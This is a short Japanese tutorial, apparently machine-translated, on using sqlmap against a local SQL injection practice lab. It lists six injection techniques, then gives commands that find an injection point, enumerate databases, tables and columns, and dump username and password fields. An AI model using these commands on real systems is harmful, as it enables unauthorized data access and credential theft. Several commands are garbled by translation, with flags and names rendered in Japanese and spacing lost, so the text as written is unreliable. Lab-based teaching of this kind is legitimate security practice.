1. sqlmap がサポートする 6 つの注入方法
1.ブールベースのブラインドインジェクション
ページに戻って条件の true と false の挿入を判断する
2. 時間ベースのブラインド注射
ページが返す内容だけでは判断できないので、時間遅延文が実行されるかどうか(つまり、ページの戻り時間が長くなるかどうか)を条件文で確認する
3. エラー注入に基づく
ページはエラー メッセージを返すか、挿入されたステートメントをページに直接返します。
4. 共同クエリ注入
ユニオン使用時のインジェクション
5. ヒープ クエリ インジェクション
複数のステートメントを同時に実行できる実行時インジェクション
6.インラインクエリインジェクション
SQL文でSQL文を実行する
第二に、sqlmap の基本的な使い方
1.注入ポイントがあるかどうかを確認する
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1"
2. すべてのデータベースを表示する
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs
3. 現在使用されているデータベースを表示する
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db
4. テーブル名を確認する
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables
-D はデータベースを指定し、 --tables はテーブル名を一覧表示します
5. テーブル内のすべてのフィールド名を一覧表示する
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -Dセキュリティ-Tユーザー --列
-D はデータベースを指定し、-T はテーブル名を指定し、-columns はすべてのフィールドをリストします
6.フィールドの内容(データ)を列挙する
python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -Dセキュリティ-Tユーザー-Cユーザー名、パスワード--dump
-D はデータベースを指定し、-T はデータ テーブルを指定し、-C はリストするフィールドを指定します。--dump はフィールドの内容をリストし、データをダンプします。
プロンプトの内容に従って、ダンプされたデータを見つけます。